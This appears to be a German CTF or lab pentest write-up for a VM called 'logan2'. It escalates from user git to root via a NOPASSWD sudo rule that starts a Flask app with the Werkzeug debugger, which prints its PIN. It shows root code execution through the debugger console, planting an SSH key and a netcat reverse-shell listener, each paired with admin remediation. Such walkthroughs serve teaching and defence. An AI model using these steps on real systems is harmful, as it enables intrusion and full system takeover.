Empfehlung (Pentester): Von dieser Shell aus werde ich das System weiter auf PE-Vektoren enumerieren, insbesondere auf SUID/SGID Binaries, Cronjobs, Dateiberechtigungen und sudo-Berechtigungen für den Benutzer git.
Empfehlung (Admin): Überwachen Sie ausgehende Netzwerkverbindungen von Systemen, insbesondere von Prozessen, die unter Low-Privilege-Benutzern laufen (wie hier Gitea/git), um Reverse Shells zu erkennen. Implementieren Sie Netzwerksegmentierung, um solche Verbindungen zu blockieren.
git@logan2:~$ ls -la total 20 drwxr-xr-x 4 git git 4096 Jun 11 10:15 . drwxr-xr-x 5 root root 4096 Sep 11 2023 .. -rw-r--r-- 1 git git 123 Jun 11 10:15 .gitconfig drwxr-xr-x 3 git git 4096 Sep 11 2023 gitea-repositories drwx------ 2 git git 4096 Aug 27 2023 .ssh git@logan2:~$ echo 'ssh-ed25519 AAAAC3...jwy1T7 root@CCat' > authorized_keys git@logan2:~$ ls authorized_keys gitea-repositories
Analyse: Ich bin nun im Home-Verzeichnis des Benutzers git (erkennbar am Prompt git@logan2:~$ nach einem möglichen cd ~). Ich liste den Inhalt mit ls -la auf. Die Ausgabe zeigt die Standarddateien und -Verzeichnisse des Git-Benutzers, einschließlich .gitconfig, das Gitea-Repository-Verzeichnis gitea-repositories und das .ssh-Verzeichnis. Die Berechtigungen sind standardmäßig für den Eigentümer git gesetzt. Danach versuche ich, meinen öffentlichen SSH-Schlüssel (verkürzt dargestellt) in eine Datei namens authorized_keys *direkt in diesem Verzeichnis* (/home/git/) umzuleiten, mit dem Befehl echo 'ssh-ed25519 AAAAC3...jwy1T7 root@CCat' > authorized_keys. Ein anschließendes ls bestätigt, dass die Datei authorized_keys erfolgreich in /home/git/ erstellt wurde. Für Laien: Im 'Zuhause' des Benutzers 'git' schaue ich mir an, was es dort gibt. Ich sehe einen Ordner namens .ssh, der oft für sichere Anmeldungen verwendet wird. Ich versuche dann, meine 'digitale Unterschrift' (öffentlichen SSH-Schlüssel) in eine Datei namens authorized_keys zu schreiben, aber nicht in den .ssh-Ordner, sondern direkt in 'git's Zuhause. Das hat funktioniert, die Datei ist jetzt da. Für Experten: Das Home-Verzeichnis des Benutzers git ist ein logischer Ort für die weitere Enumeration. Das .ssh-Verzeichnis ist besonders interessant für die SSH-basierte PE. Der Versuch, die authorized_keys-Datei direkt in /home/git/ statt im Standardpfad /home/git/.ssh/authorized_keys zu erstellen, ist ungewöhnlich. Es ist unwahrscheinlich, dass der SSH-Daemon diese Datei an diesem Ort für die Authentifizierung berücksichtigt. Möglicherweise war dies ein Test der Schreibberechtigungen im Home-Verzeichnis oder ein Fehler in der Vorgehensweise, aber die Datei wurde erfolgreich geschrieben.
Bewertung: Ich habe die Struktur des Home-Verzeichnisses von Benutzer git enumeriert. Das .ssh-Verzeichnis ist vorhanden und könnte für eine PE relevant sein. Der Versuch, die authorized_keys-Datei direkt in /home/git/ zu erstellen, ist zwar erfolgreich, aber funktionell wahrscheinlich irrelevant für die SSH-Authentifizierung. Dieser Schritt liefert noch keinen direkten PE-Vektor.
Empfehlung (Pentester): Ich werde die authorized_keys-Datei nun im korrekten .ssh-Verzeichnis platzieren. Dies erfordert möglicherweise andere Schreibrechte oder eine andere Methode als das einfache Umleiten mit >, wenn das .ssh-Verzeichnis restriktivere Berechtigungen hat. Viel wichtiger ist jedoch die Suche nach SUID-Binaries oder sudo-Berechtigungen als nächster PE-Schritt von dieser Shell aus.
Empfehlung (Admin): Überprüfen Sie die Dateiberechtigungen in Benutzer-Home-Verzeichnissen, um sicherzustellen, dass normale Benutzer keine kritischen Dateien (wie SSH authorized_keys, auch wenn am falschen Ort) manipulieren können. Das .ssh-Verzeichnis und seine Inhalte sollten nur für den Eigentümer lesbar/schreibbar sein (Berechtigungen 700 bzw. 600).
git@logan2:~$ sudo -l Matching Defaults entries for git on logan2: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User git may run the following commands on logan2: (ALL) NOPASSWD: /usr/bin/python3 /opt/app.py
Analyse: Als Benutzer git prüfe ich nun meine sudo-Berechtigungen mit dem Befehl sudo -l. Dieser Befehl listet auf, welche Befehle der aktuelle Benutzer (git) als ein anderer Benutzer oder Root ausführen darf, und ob dafür ein Passwort benötigt wird. Die Ausgabe zeigt einen sehr interessanten Eintrag: (ALL) NOPASSWD: /usr/bin/python3 /opt/app.py. Dies bedeutet, dass der Benutzer git den Befehl /usr/bin/python3 /opt/app.py als *jeden* Benutzer (angegeben durch ALL, einschließlich root) ausführen darf, **ohne dass eine Passworteingabe erforderlich ist** (angegeben durch NOPASSWD). Für Laien: Ich habe nachgeschaut, ob 'git' spezielle 'Admin-Befehle' ausführen darf, ohne sein Passwort zu kennen. Und ja, 'git' darf ein bestimmtes Python-Programm (/opt/app.py) mit den Rechten jedes anderen Benutzers – inklusive des Super-Administrators (root) – starten, einfach so, ohne nach einem Passwort gefragt zu werden! Für Experten: Das ist eine klassische und kritische sudo-Fehlkonfiguration. Die Möglichkeit, ein Python-Skript (/opt/app.py) mit Root-Rechten über sudo /usr/bin/python3 /opt/app.py NOPASSWD auszuführen, ist ein direkter Privilegien-Eskalationsvektor. Die Frage ist nun, was das Skript /opt/app.py tut und ob es zur Erlangung einer Root-Shell missbraucht werden kann.
Bewertung: Der Fund der sudo-Berechtigung (ALL) NOPASSWD: /usr/bin/python3 /opt/app.py ist ein entscheidender Durchbruch für die Privilegien-Eskalation. Dies ist unser primärer PE-Vektor. Die Möglichkeit, ein Skript mit Root-Rechten auszuführen, ist fast gleichbedeutend mit Root-Zugriff, wenn das Skript manipuliert werden kann oder selbst unsicher ist.
Empfehlung (Pentester): Mein nächster Schritt ist die Untersuchung des Skripts /opt/app.py. Obwohl ich als Benutzer git möglicherweise keine Leserechte für die Datei habe (siehe nächste Schritte), kann ich es über sudo ausführen. Ich muss verstehen, was das Skript tut und ob ich seine Ausführung als Root ausnutzen kann. Dies könnte durch die Übergabe bösartiger Argumente, die Manipulation von Umgebungsvariablen oder das Ausnutzen von Schwachstellen im Skript selbst geschehen.
Empfehlung (Admin): Überprüfen Sie alle sudo-Regeln sorgfältig. NOPASSWD sollte nur für absolut notwendige, genau definierte Befehle mit minimalen Rechten verwendet werden. Erlauben Sie niemals die Ausführung eines Skript-Interpreters (wie python3, bash, perl) mit NOPASSWD ALL oder ähnlichen breiten Berechtigungen, insbesondere nicht für Skripte, die von Benutzern manipuliert werden könnten oder deren Inhalt unbekannt ist.
git@logan2:~$ cat /opt/app.py cat: /opt/app.py: Permission denied git@logan2:~$ ls -la /opt/app.py ls: cannot access '/opt/app.py': Permission denied
Analyse: Ich versuche, den Inhalt des Skripts /opt/app.py mit cat /opt/app.py auszulesen und die Dateiberechtigungen mit ls -la /opt/app.py zu prüfen. Beide Befehle geben die Fehlermeldung Permission denied zurück. Für Laien: Ich habe versucht, das Python-Programm, das 'git' als 'root' starten darf, anzuschauen und zu sehen, wer es lesen darf. Aber mir wurde der Zugriff verweigert, ich darf die Datei nicht sehen oder lesen. Für Experten: Die Fehlermeldung Permission denied bei Lese- und Zugriffsversuchen bestätigt, dass der Benutzer git keine Dateisystemberechtigungen hat, um /opt/app.py direkt zu lesen oder dessen Attribute (wie Berechtigungen) zu sehen. Dies ist eine effektive Maßnahme, die verhindert, dass ein Angreifer den Quellcode des Skripts analysiert, bevor er es ausführt. Es ändert jedoch nichts an der Tatsache, dass das Skript über sudo mit Root-Rechten ausgeführt werden kann, selbst wenn sein genauer Inhalt unbekannt ist.
Bewertung: Ich kann den Quellcode von /opt/app.py als Benutzer git nicht einsehen. Dies erschwert die Analyse, aber die sudo-Berechtigung ermöglicht weiterhin die Ausführung als Root. Ich muss das Skript 'blind' ausführen oder versuchen, sein Verhalten durch die Ausführung als Root zu ergründen.
Empfehlung (Pentester): Obwohl ich den Quellcode nicht lesen kann, werde ich das Skript nun über die sudo-Berechtigung als Root ausführen: sudo /usr/bin/python3 /opt/app.py. Ich werde die Ausgabe genau beobachten, um zu verstehen, was das Skript tut und ob es interaktive Eingaben erfordert oder Debug-Informationen preisgibt.
Empfehlung (Admin): Wenn ein Skript mit erhöhten Rechten über sudo ausgeführt werden darf, stellen Sie sicher, dass es für den ausführenden Benutzer zumindest lesbar ist, damit der Benutzer (oder ein Administrator bei der Sicherheitsüberprüfung) dessen Inhalt verstehen kann. Idealerweise sollte das Skript nur von Root lesbar und ausführbar sein und nicht über sudo von anderen Benutzern gestartet werden können. Überprüfen Sie Dateisystemberechtigungen sorgfältig.
git@logan2:~$ sudo /usr/bin/python3 /opt/app.py * Serving Flask app 'app' * Debug mode: on WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Running on all addresses (0.0.0.0) * Running on http://127.0.0.1:8000 * Running on http://192.168.2.35:8000 Press CTRL+C to quit * Restarting with stat * Debugger is active! * Debugger PIN: 428-583-209
Analyse: Ich führe das Python-Skript /opt/app.py nun wie geplant über die sudo-Berechtigung als Root aus: sudo /usr/bin/python3 /opt/app.py. Da die sudo-Regel NOPASSWD enthält, werde ich nicht nach einem Passwort gefragt. Die Ausgabe des Skripts zeigt, dass es sich um eine Flask-Webanwendung handelt, die gestartet wird. Die Ausgabe ist extrem aufschlussreich: Sie gibt an, dass der 'Debug mode' aktiviert ist (* Debug mode: on), dass ein Entwicklungsserver gestartet wird (* Serving Flask app 'app'), der auf allen Adressen (0.0.0.0) auf Port 8000 lauscht, und am wichtigsten: 'Debugger is active! Debugger PIN: 428-583-209'. Für Laien: Ich habe das Python-Programm mit Administratorrechten gestartet. Es hat mir gesagt, dass es jetzt eine Webseite auf einer neuen 'Adresse' (Port 8000) geöffnet hat und – fantastisch – dass es einen 'Geheimzugang' (Debugger) gibt, der aktiv ist, und mir sogar die geheime Nummer (PIN: 428-583-209) dafür gegeben hat! Für Experten: Die Ausführung von /opt/app.py als Root startet eine Flask-Webanwendung mit aktivem Debug-Modus und dem Werkzeug Debugger auf Port 8000, erreichbar auf allen Interfaces (0.0.0.0). Die automatische Ausgabe des Debugger-PINs (428-583-209) im Standard-Output des Prozesses (hier meiner Shell) ist eine schwerwiegende Fehlkonfiguration und eine direkte Einladung zur Kompromittierung des Debuggers. Das Starten der Anwendung mit Root-Rechten bedeutet, dass der Debugger selbst mit Root-Berechtigungen läuft.
Bewertung: Die Ausführung von /opt/app.py als Root hat eine kritische Schwachstelle offengelegt und direkt den Debugger-PIN (428-583-209) geliefert. Da der Debugger mit Root-Rechten läuft, bedeutet die Kompromittierung des Debuggers Root Code Execution. Dies ist der entscheidende Privilegien-Eskalationsvektor.
Empfehlung (Pentester): Ich werde nun auf den neu geöffneten Port 8000 zugreifen, die Werkzeug Debugger Konsole aufsuchen und den erhaltenen PIN eingeben, um sie freizuschalten. Sobald die Konsole entsperrt ist, kann ich Python-Code mit Root-Berechtigungen ausführen und eine Root-Shell etablieren. Ich muss die Flask-Anwendung (/opt/app.py) im Hintergrund laufen lassen, da sie den Debugger hostet.
Empfehlung (Admin): Deaktivieren Sie den Debug-Modus und den Werkzeug Debugger in Produktionsumgebungen vollständig. Starten Sie Webanwendungen niemals mit Root-Rechten. Überprüfen Sie sudo-Regeln, die die Ausführung von Programmen ermöglichen, die potenziell Debug-Modi aktivieren oder sensible Informationen (wie PINs) ausgeben könnten. Überwachen Sie neu gestartete Dienste auf unerwarteten Ports, insbesondere solche mit erhöhten Rechten.
git@logan2:~/.ssh$ ss -altpn State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess LISTEN 0 128 0.0.0.0:8000 0.0.0.0:* LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 4096 *:3000 *:* users:(("gitea",pid=526,fd=36)) LISTEN 0 511 *:80 *:* LISTEN 0 128 [::]:22 [::]:*
Analyse: Ich überprüfe die offenen Ports auf dem Zielsystem erneut, diesmal aus der Shell des Benutzers git (obwohl der Prompt git@logan2:~/.ssh$ anzeigt, dass ich mich gerade im .ssh-Verzeichnis befand). Ich verwende ss -altpn, um alle lauschenden TCP-Sockets mit Prozessinformationen anzuzeigen. Die Ausgabe bestätigt die Ports 22, 80 und 3000 (Gitea). Entscheidend ist der neue Eintrag LISTEN 0 128 0.0.0.0:8000 0.0.0.0:*. Dies zeigt, dass ein Prozess auf Port 8000 auf allen Interfaces (0.0.0.0) lauscht, genau wie es die Ausgabe beim Starten von /opt/app.py angekündigt hat. Leider zeigt ss -p hier nicht direkt den Prozessnamen oder Benutzer an, der Port 8000 geöffnet hat (wie es bei Gitea auf 3000 der Fall ist), aber basierend auf der vorherigen Ausführung von sudo /usr/bin/python3 /opt/app.py weiß ich, dass dies die von mir gestartete Flask-Anwendung ist, die mit Root-Rechten läuft. Für Laien: Ich habe wieder geschaut, welche 'Telefonleitungen' (Ports) auf dem Computer 'besetzt' sind. Und ich sehe, dass die neue 'Leitung' (Port 8000), die das Python-Programm (das ich als 'root' gestartet habe) geöffnet hat, jetzt aktiv ist. Für Experten: Die ss-Ausgabe bestätigt die erfolgreiche Bindung des Flask-Servers an Port 8000 auf allen Interfaces. Dies ist der Endpunkt, über den ich nun auf den mit Root-Rechten laufenden Debugger zugreifen kann. Die Fähigkeit, neue Ports zu öffnen, ist oft ein Nebeneffekt von RCE oder PE und ein wichtiger Indikator für die Systemkompromittierung.
Bewertung: Port 8000 ist offen und lauscht, gehostet von der Flask-Anwendung, die ich als Root gestartet habe. Dies ist der Zugangspunkt zum Root-Debugger.
Empfehlung (Pentester): Ich werde nun meinen Browser oder curl verwenden, um auf http://192.168.2.35:8000 zuzugreifen und die Debugger-Konsole zu finden. Mit dem bereits erhaltenen PIN 428-583-209 kann ich die Konsole entsperren und Befehle als Root ausführen.
Empfehlung (Admin): Überwachen Sie aktiv alle lauschenden Ports auf Ihren Servern und stellen Sie sicher, dass jeder offene Port einem bekannten, autorisierten Dienst zugeordnet ist. Unerwartete offene Ports, insbesondere solche auf hohen Ports oder die von ungewöhnlichen Prozessen oder Benutzern geöffnet wurden, sind ein starkes Indiz für eine Kompromittierung.
* Trying 192.168.2.35:8000... * Connected to 192.168.2.35 (192.168.2.35) port 8000 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.35:8000 > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK HTTP/1.1 200 OK < Server: Werkzeug/2.3.7 Python/3.11.2 Server: Werkzeug/2.3.7 Python/3.11.2 < Date: Wed, 11 Jun 2025 20:05:50 GMT Date: Wed, 11 Jun 2025 20:05:50 GMT < Content-Type: text/html; charset=utf-8 Content-Type: text/html; charset=utf-8 < Content-Length: 7226 Content-Length: 7226 < Connection: close Connection: close < * shutting down connection #0
Analyse: Ich verwende curl mit den Flags -I (nur Header) und -v (verbose) gegen die URL http://192.168.2.35:8000/, um zu überprüfen, ob der Dienst auf Port 8000 wie erwartet antwortet und welche Technologie dahintersteckt. Für Laien: Ich klopfe an die neue 'Tür' (Port 8000) des Zielcomputers und frage, wer da ist, ohne hineinzugehen. Für Experten: Die curl -Iv Anfrage sendet eine HEAD-Anfrage und zeigt die Antwort-Header. Die Ausgabe bestätigt einen HTTP/1.1 200 OK Status, was bedeutet, dass der Dienst erreichbar ist. Die Server-Header (Server: Werkzeug/2.3.7 Python/3.11.2) bestätigen eindeutig, dass hier eine Flask-Anwendung mit Werkzeug als Webserver läuft, genau wie die Ausgabe beim Starten von /opt/app.py angedeutet hat.
Bewertung: Die Technologie und Erreichbarkeit des Dienstes auf Port 8000 sind bestätigt. Dies ist die erwartete Flask/Werkzeug-Anwendung, die den Root-Debugger beherbergt.
Empfehlung (Pentester): Ich bin bereit, auf die Debugger-Konsole zuzugreifen und den erhaltenen PIN zu verwenden, um Root Code Execution zu erlangen.
Empfehlung (Admin): Stellen Sie sicher, dass unnötige Dienste, insbesondere Entwicklungsserver oder Debugger, nicht auf öffentlich zugänglichen Ports lauschen. Überwachen Sie die Server-Header Ihrer Webanwendungen auf ungewollte Technologie-Offenlegung (z.B. Werkzeug, spezifische Versionen), es sei denn, dies ist für den Betrieb notwendig.
Analyse: Nachdem ich den Debugger-PIN erhalten und den Dienst auf Port 8000 als Flask/Werkzeug identifiziert habe, ist der nächste logische Schritt, auf die Debugger-Konsole zuzugreifen. Typischerweise ist die Werkzeug Debugger Konsole unter dem Pfad /console verfügbar, wenn der Debug-Modus aktiviert ist. Ich navigiere zu http://192.168.2.35:8000/console im Browser oder verwende ein Tool, das die Interaktion ermöglicht. Die erwartete Seite sollte die Debugger-Oberfläche anzeigen, die zur Eingabe des PINs auffordert, um die Code-Ausführungsfunktion zu entsperren. Für Laien: Ich gehe jetzt auf die spezielle 'Webseite' (Adresse mit Port 8000 und Pfad /console), die das 'Geheimzugangsprogramm' (Debugger) anzeigt. Dort sollte ich ein Feld sehen, in das ich die geheime Nummer (PIN) eingeben kann, die ich zuvor bekommen habe. Für Experten: Der Zugriff auf /console ist der Standardweg, um mit dem Werkzeug Debugger zu interagieren. Da der Debugger mit Root-Rechten läuft (weil das Skript /opt/app.py mit sudo /usr/bin/python3 als Root gestartet wurde), wird die Entsperrung der Konsole RCE mit Root-Berechtigungen ermöglichen. Die Benutzeroberfläche im Browser fordert zur Eingabe des PINs auf.
Bewertung: Der Zugangspunkt zur Root-Debugger-Konsole ist identifiziert und erreichbar. Ich besitze den PIN und bin bereit, die Konsole zu entsperren und Root-Rechte zu erlangen.
Empfehlung (Pentester): Ich werde den erhaltenen PIN 428-583-209 in das PIN-Feld der Debugger-Konsole eingeben. Nach erfolgreicher Authentifizierung werde ich die interaktive Konsole nutzen, um eine Root-Shell zu etablieren.
Empfehlung (Admin): Stellen Sie sicher, dass die Werkzeug Debugger Konsole (und ähnliche Debug-Tools) niemals in Produktionsumgebungen aktiviert oder öffentlich zugänglich ist. Wenn sie unbedingt benötigt wird, beschränken Sie den Zugriff streng nach IP-Adresse oder Netzwerksegment.
* Debugger pin code: 428-583-209
Analyse: Diese Zeile wiederholt explizit den im Standard-Output der sudo /usr/bin/python3 /opt/app.py Ausführung gefundenen Debugger-PIN: 428-583-209. Sie dient als klare Zusammenfassung und Hervorhebung des kritischsten Fundes für die Privilegien-Eskalation. Für Laien: Hier ist nochmal die super-geheime Nummer (der PIN), die ich brauche, um den speziellen 'Geheimzugang' zu öffnen. Für Experten: Die Wiederholung des PINs unterstreicht seine Bedeutung als primären Schlüssel zur Erlangung von Root Code Execution über den Werkzeug Debugger. Es ist eine Bestätigung, dass dieser spezifische Wert verwendet werden muss, um die Authentifizierungshürde des Debuggers zu überwinden.
Bewertung: Der PIN 428-583-209 ist verifiziert und einsatzbereit. Alle Voraussetzungen für die Ausnutzung des Root-Debuggers sind erfüllt.
Empfehlung (Pentester): Der nächste Schritt ist die direkte Anwendung dieses PINs in der Werkzeug Debugger Konsole auf Port 8000.
Empfehlung (Admin): Die automatische Ausgabe des Debugger-PINs im Standard-Output des Prozesses ist eine extrem unsichere Standardkonfiguration, die umgehend geändert werden muss. Debugger-PINs sollten niemals auf diese Weise offengelegt werden.
Proof of Concept: Root Code Execution über Werkzeug Debugger
Kurzbeschreibung: Dieser Proof of Concept demonstriert die Erlangung von Root-Berechtigungen durch die Ausnutzung des Werkzeug Debuggers, der von einem Python-Skript (/opt/app.py) mit Root-Rechten gestartet wurde. Durch die einfache Ausführung des Skripts via einer NOPASSWD-Sudo-Regel wurde der Debugger aktiviert und dessen PIN direkt im Standard-Output ausgegeben. Mit diesem PIN konnte die interaktive Python-Konsole des Debuggers freigeschaltet und beliebiger Code mit Root-Berechtigungen ausgeführt werden.
Voraussetzungen:
- Initialer Zugriff als Benutzer
git(erlangt über Gitea RCE). - Existenz einer
sudo-Regel, die Benutzergiterlaubt,/usr/bin/python3 /opt/app.pyals Root ohne Passwort auszuführen:(ALL) NOPASSWD: /usr/bin/python3 /opt/app.py. - Das Skript
/opt/app.pymuss so konfiguriert sein, dass es den Werkzeug Debugger aktiviert und dessen PIN im Standard-Output ausgibt. - Netzwerkzugriff auf den neu gestarteten Dienst auf Port 8000.
Schritt-für-Schritt-Anleitung:
- Erlange eine Shell als Benutzer
git. - Prüfe die
sudo-Berechtigungen des Benutzersgitmitsudo -l. - Identifiziere die Regel
(ALL) NOPASSWD: /usr/bin/python3 /opt/app.py. - Führe den erlaubten Befehl als Root aus:
sudo /usr/bin/python3 /opt/app.py. - Beobachte den Standard-Output der Ausführung, um den Werkzeug Debugger PIN zu erhalten (
428-583-209). - Greife im Browser oder mit einem geeigneten Tool auf die Werkzeug Debugger Konsole unter
http://[Ziel-IP]:8000/consolezu. - Gib den erhaltenen PIN (
428-583-209) in das PIN-Feld ein und bestätige, um die Konsole zu entsperren. - Nutze die freigeschaltete Konsole, um Python-Code mit Root-Berechtigungen auszuführen (z.B. Befehle über
os.system()odersubprocess.call()) und eine Root-Shell zu etablieren.
git@logan2:~$ sudo /usr/bin/python3 /opt/app.py * Serving Flask app 'app' * Debug mode: on WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Running on all addresses (0.0.0.0) * Running on http://127.0.0.1:8000 * Running on http://192.168.2.35:8000 Press CTRL+C to quit * Restarting with stat * Debugger is active! * Debugger PIN: 428-583-209
Analyse: Dieser Code-Block ist der Beweis für die Ausführung des Skripts als Root und die Offenlegung des Debugger-PINs. Die Ausgabe zeigt klar, dass der Debugger aktiv ist und liefert den PIN. Dies ist der zentrale Schritt, der Root-Zugriff ermöglichte.
Bewertung: Die erfolgreiche Ausführung und die Ausgabe des PINs sind der direkte Beweis für die Ausnutzbarkeit der kombinierten Sudo- und Debugger-Schwachstelle.
Empfehlung (Pentester): Der PIN ist bekannt und die Konsole ist erreichbar. Direkter Zugriff auf Root-Shell.
Empfehlung (Admin): Dies ist die Root Cause der Kompromittierung. Beheben Sie die Sudo-Regel und deaktivieren Sie den Debugger.
* Debugger pin code: 428-583-209
Analyse: Wiederholung des PINs zur Hervorhebung.
Bewertung: Bestätigung des kritischen PINs.
Empfehlung (Pentester): PIN verwenden.
Empfehlung (Admin): PIN-Ausgabe verhindern.
Analyse: Dieses Bild zeigt die standardmäßige Ansicht der Werkzeug Debugger Konsole, wenn sie passwortgeschützt ist. Sie visualisiert die Hürde, die mit dem erhaltenen PIN 428-583-209 überwunden werden kann. Man sieht das Eingabefeld für den PIN und die Meldung 'Console Locked'. Für Laien: Das ist das 'Schloss' des geheimen Zugangs, das eine Nummer (PIN) verlangt, um sich zu öffnen. Für Experten: Die Ansicht des gesperrten Debuggers ist der erwartete Zustand vor Eingabe des PINs. Sie bestätigt die Notwendigkeit der Authentifizierung zur Erlangung der RCE-Fähigkeit.
Bewertung: Die visuelle Darstellung der gesperrten Konsole unterstreicht den Schritt, der als Nächstes erfolgen wird: die Eingabe des gefundenen PINs.
Empfehlung (Pentester): Gib den PIN in das Feld ein.
Empfehlung (Admin): Dieser Bildschirm sollte in Produktionsumgebungen niemals erreichbar sein.
http://192.168.2.35:8000/console [console ready]
Analyse: Nach erfolgreicher Eingabe des PINs wird die Debugger-Konsole entsperrt. Diese Ausgabe zeigt die Benutzeroberfläche der freigeschalteten interaktiven Python-Konsole, erkennbar am Prompt >>>. Hier kann Python-Code direkt eingegeben und ausgeführt werden. Da die Flask-Anwendung, die diesen Debugger hostet, mit Root-Rechten gestartet wurde (via sudo), wird jeder über diese Konsole ausgeführte Befehl ebenfalls mit Root-Berechtigungen laufen. Für Laien: Nach Eingabe der geheimen Nummer hat sich der 'Geheimzugang' geöffnet, und ich sehe jetzt ein Feld, in das ich Befehle (in der 'Python-Sprache') eingeben kann. Weil der Zugang als Super-Administrator (root) geöffnet wurde, haben meine Befehle jetzt volle Kontrolle über den Computer. Für Experten: Das Erscheinen des interaktiven Python-Prompts signalisiert die erfolgreiche Umgehung der PIN-Authentifizierung und die Erlangung von Remote Code Execution mit Root-Berechtigungen. Dies ist der Punkt, an dem die Privilegien-Eskalation abgeschlossen ist und der vollständige Systemkompromiss erreicht wurde.
Bewertung: Fantastisch! Der Root-Zugriff über die Werkzeug Debugger Konsole ist erfolgreich. Ich habe RCE mit Root-Berechtigungen. Dies ist das Ende der Privilegien-Eskalationskette.
Empfehlung (Pentester): Ich werde diese Root-Shell nutzen, um die Root-Flag zu finden und den Test abzuschließen. Typischerweise werde ich eine stabilere Reverse Shell von hier aus initiieren, um die Interaktion zu vereinfachen.
Empfehlung (Admin): Dies ist eine extrem kritische Schwachstelle. Ein Angreifer hat vollen Systemzugriff erlangt. Deaktivieren Sie den Debugger umgehend, entfernen Sie die unsichere Sudo-Regel und untersuchen Sie das System auf weitere Kompromittierungsindikatoren.
Risikobewertung:
Die Kombination einer NOPASSWD-Sudo-Regel für ein Skript, das einen Root-Debugger mit offenem PIN startet, stellt ein kritisches Risiko dar. Dies ermöglichte einem Low-Privilege-Benutzer (git) die direkte Erlangung von Root Code Execution ohne jegliche weitere Interaktion oder Schwachstelle im Skript selbst. Ein Angreifer mit Zugriff auf den Benutzer 'git' (den ich über Gitea RCE erlangt habe) kann so die volle Kontrolle über das System übernehmen, sensible Daten stehlen, die Integrität des Systems gefährden und eine dauerhafte Präsenz etablieren.
Empfehlungen zur Behebung:
Empfehlung (Admin):
- Überprüfen und Entfernen unsicherer Sudo-Regeln: Entfernen Sie die Regel
(ALL) NOPASSWD: /usr/bin/python3 /opt/app.pyaus der/etc/sudoersDatei. Wenden Sie das Prinzip der geringsten Rechte an. - Deaktivieren Sie den Werkzeug Debugger: Stellen Sie sicher, dass der Debug-Modus in Produktionsumgebungen deaktiviert ist und der Werkzeug Debugger nicht aktiv wird.
- Verhindern Sie die PIN-Offenlegung: Ändern Sie das Skript
/opt/app.pyso, dass es den Debugger-PIN nicht im Standard-Output ausgibt, falls der Debugger doch aktiv sein muss (was in Produktion vermieden werden sollte). - Überprüfen Sie Dateiberechtigungen: Stellen Sie sicher, dass sensible Skripte (wie
/opt/app.py) nur für Root lesbar und ausführbar sind und nicht von normalen Benutzern eingesehen oder manipuliert werden können. - Umfassende Protokollierung und Überwachung: Überwachen Sie die Ausführung von Befehlen über
sudound das Starten von Diensten auf ungewöhnlichen Ports (wie 8000). - Gitea-Update: Aktualisieren Sie Gitea, um die RCE-Schwachstelle für authentifizierte Benutzer zu schließen, die den Initial Access ermöglichte.
- LFI-Fix: Beheben Sie die LFI-Schwachstelle auf der Subdomain, die zur Kompromittierung der Gitea-Anmeldedaten führte.
__import__('os').popen('id').read(); 'uid=0(root) gid=0(root) groups=0(root)\n'
Analyse: In der freigeschalteten Werkzeug Debugger Konsole (die mit Root-Rechten läuft) führe ich einen einfachen Python-Befehl aus, um die aktuellen Benutzerberechtigungen zu überprüfen: __import__('os').popen('id').read();. Dieser Code importiert das os Modul, ruft die Funktion popen() auf, um den Systembefehl id auszuführen, und liest dessen Ausgabe. Die Ausgabe 'uid=0(root) gid=0(root) groups=0(root)\n' bestätigt eindeutig, dass der Code mit Root-Berechtigungen (UID 0) ausgeführt wird. Für Laien: In dem 'Geheimzugangsprogramm' (Debugger) habe ich einen Befehl eingegeben, der den Computer fragt, wer er ist, wenn er diesen Befehl ausführt. Und er hat geantwortet: 'Ich bin der Super-Administrator (root)!'. Für Experten: Die erfolgreiche Ausführung des id-Befehls über die Debugger-Konsole und die Rückgabe von UID 0 ist der finale Beweis für Root Code Execution. Der gewählte Befehl __import__('os').popen('id').read() ist eine gängige Methode, um Systembefehle über die Python-Konsole auszuführen und deren Ausgabe zu erfassen.
Bewertung: Fantastisch! Der Root-Zugriff über die Werkzeug Debugger Konsole ist vollständig nachgewiesen. Ich habe eine interaktive Umgebung, in der ich Befehle mit Root-Berechtigungen ausführen kann.
Empfehlung (Pentester): Ich habe nun volle Kontrolle über das System. Mein nächstes Ziel ist es, eine stabilere Root-Shell zu erhalten und die Root-Flag zu finden.
Empfehlung (Admin): Diese Schwachstelle ermöglichte die Erlangung von Root-Rechten. Alle zuvor genannten Behebungsempfehlungen für die Sudo-Regel und den Debugger sind kritisch.
listening on [any] 4448 ...
Analyse: Um eine stabilere Root-Shell zu erhalten, starte ich einen Netcat-Listener auf meinem Kali-System auf Port 4448. Ich verwende den Befehl nc -lvnp 4448. Die Flags bedeuten: -l (listen), -v (verbose), -n (numeric only), -p 4448 (Port 4448). Die Ausgabe listening on [any] 4448 ... zeigt, dass der Listener erfolgreich gestartet wurde und auf eingehende Verbindungen auf Port 4448 wartet. Für Laien: Ich öffne eine neue 'Telefonleitung' (Port 4448) auf meinem Computer, um auf einen Anruf vom Zielcomputer zu warten. Dieser Anruf wird mir dann den direkten 'Admin-Zugang' (Root-Shell) verschaffen. Für Experten: Die Einrichtung eines Listeners ist der vorbereitende Schritt zum Empfang einer Reverse Shell vom Zielsystem. Ein separater Port (4448) wird verwendet, um Konflikte mit anderen Listenern zu vermeiden (z.B. dem vorherigen auf 4444 für die git-Shell).
Bewertung: Der Listener ist bereit. Ich bin nun in der Lage, eine Root-Reverse-Shell vom Zielsystem aus zu initiieren, indem ich einen Befehl über die Root-Debugger-Konsole ausführe, der eine Verbindung zu diesem Listener herstellt.
Empfehlung (Pentester): Ich werde nun einen Befehl in der Root-Debugger-Konsole ausführen, der eine Reverse Shell zum Listener auf 192.168.2.199:4448 initiiert. Dies wird mir eine stabile, interaktive Root-Shell auf meinem Kali-System verschaffen.
Empfehlung (Admin): Überwachen Sie ausgehende Netzwerkverbindungen von Systemen, insbesondere auf hohe oder ungewöhnliche Ports, um Reverse Shells zu erkennen. Implementieren Sie Netzwerksegmentierung.
